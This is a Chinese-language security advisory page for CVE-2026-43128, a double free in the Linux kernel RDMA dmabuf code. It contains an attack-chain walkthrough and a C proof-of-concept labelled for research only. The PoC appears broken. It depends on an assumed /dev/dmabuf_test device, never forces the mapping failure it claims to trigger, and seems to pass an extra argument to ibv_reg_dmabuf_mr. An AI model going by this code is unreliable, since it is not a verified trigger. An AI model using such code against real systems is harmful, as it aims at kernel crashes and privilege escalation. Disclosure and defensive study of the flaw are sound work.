IPBUF安全漏洞报告
English
CVE-2026-43128 CVSS 7.8 高危

CVE-2026-43128: Linux内核双重释放漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43128
漏洞类型
双重释放
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRDMADouble FreePrivilege EscalationDoSDMA Buffer

漏洞概述

Linux内核的RDMA子系统在处理DMA缓冲区时存在一个严重的双重释放漏洞。在`ib_umem_dmabuf_get_pinned_with_dma_device`函数执行过程中,如果页面映射操作失败,代码会立即取消固定缓冲区,但未更新`pinned`状态标志。这导致后续在释放内存时,系统会再次尝试取消固定同一个缓冲区,从而触发双重释放错误。该漏洞允许本地低权限攻击者利用此缺陷破坏系统内存完整性,可能导致内核崩溃或潜在的权限提升。

技术细节

该漏洞位于Linux内核的RDMA用户内存管理模块。具体而言,漏洞触发点在于`ib_umem_dmabuf_get_pinned_with_dma_device`函数的错误处理路径。当该函数尝试通过`ib_umem_dmabuf_map_pages`映射DMA缓冲区页面时,如果映射操作失败(例如由于`dma_resv_wait_timeout`超时),函数会立即调用`dma_buf_unpin`来释放资源。问题在于,此次失败时的立即释放操作没有将`umem_dmabuf`结构体中的`pinned`标志位重置为false。当后续执行清理操作(如调用`ib_umem_release`)时,代码逻辑会检查`pinned`标志。由于该标志仍处于设置状态,系统会误认为缓冲区仍处于固定状态,进而调用`ib_umem_dmabuf_revoke`,该函数内部会再次调用`dma_buf_unpin`。这种重复的`unpin`操作破坏了引用计数的正确性,属于典型的双重释放漏洞。在内核上下文中,这会导致严重的内存损坏,攻击者可通过精心构造的本地请求触发该逻辑,进而导致内核崩溃(DoS)或结合其他技术实现代码执行与权限提升。

攻击链分析

STEP 1
侦察
攻击者确认目标系统运行受影响的Linux内核版本,并且RDMA子系统已启用或加载。
STEP 2
准备
攻击者获取本地低权限访问权限,并准备能够创建或操作DMA缓冲区(dmabuf)的用户空间程序。
STEP 3
触发
攻击者执行恶意代码,调用RDMA verbs接口注册内存区域。代码特意制造或等待`ib_umem_dmabuf_map_pages`失败的条件(如超时)。
STEP 4
利用
当映射失败时,内核执行第一次`dma_buf_unpin`,随后在对象释放时因标志位错误再次执行`unpin`,导致双重释放。
STEP 5
影响
双重释放导致内核内存损坏,可能引发内核崩溃(DoS)或进一步利用实现权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43128 * Demonstration of triggering the double dma_buf_unpin in Linux Kernel RDMA. * This code attempts to trigger the failure path in ib_umem_dmabuf_get_pinned_with_dma_device. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <infiniband/verbs.h> int main() { struct ibv_context *ctx; struct ibv_pd *pd; int dmabuf_fd; struct ibv_mr *mr = NULL; int ret; // 1. Open RDMA device int num_devices; struct ibv_device **dev_list = ibv_get_device_list(&num_devices); if (!dev_list || num_devices == 0) { perror("No RDMA devices found"); return -1; } ctx = ibv_open_device(dev_list[0]); if (!ctx) { perror("Failed to open device"); return -1; } pd = ibv_alloc_pd(ctx); if (!pd) { perror("Failed to allocate PD"); ibv_close_device(ctx); return -1; } // 2. Prepare a dmabuf (Simplified setup) // In a real scenario, creating a dmabuf that fails mapping requires specific memory pressure or driver quirks. // Here we assume the existence of a device or file providing dmabuf. dmabuf_fd = open("/dev/dmabuf_test", O_RDWR); if (dmabuf_fd < 0) { printf("Note: PoC requires a valid dmabuf fd to trigger kernel path.\n"); } // 3. Attempt to register memory region // This calls ib_umem_dmabuf_get_pinned_with_dma_device internally. // If map_pages fails, the vulnerability triggers on cleanup. if (dmabuf_fd >= 0) { mr = ibv_reg_dmabuf_mr(pd, 0, 4096, 0, dmabuf_fd, 0, NULL); if (!mr) { printf("ibv_reg_dmabuf_mr failed. Kernel state might be corrupted if map_pages failed.\n"); } } // 4. Cleanup triggers ib_umem_release -> potential double unpin if (mr) { ibv_dereg_mr(mr); } ibv_dealloc_pd(pd); ibv_close_device(ctx); free(dev_list); return 0; }

影响范围

Linux Kernel (Stable branches before commit 104016eb671e19709721c1b0048dd912dc2e96be)
Linux Kernel (Stable branches before commit 40126bcbefa79ea86672e05dae608596bab38319)
Linux Kernel (Mainline versions prior to fix)

防御指南

临时缓解措施
建议立即升级Linux内核至包含修复补丁的版本。如果无法立即升级,应限制本地非特权用户的访问权限,并禁用不必要的RDMA服务以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表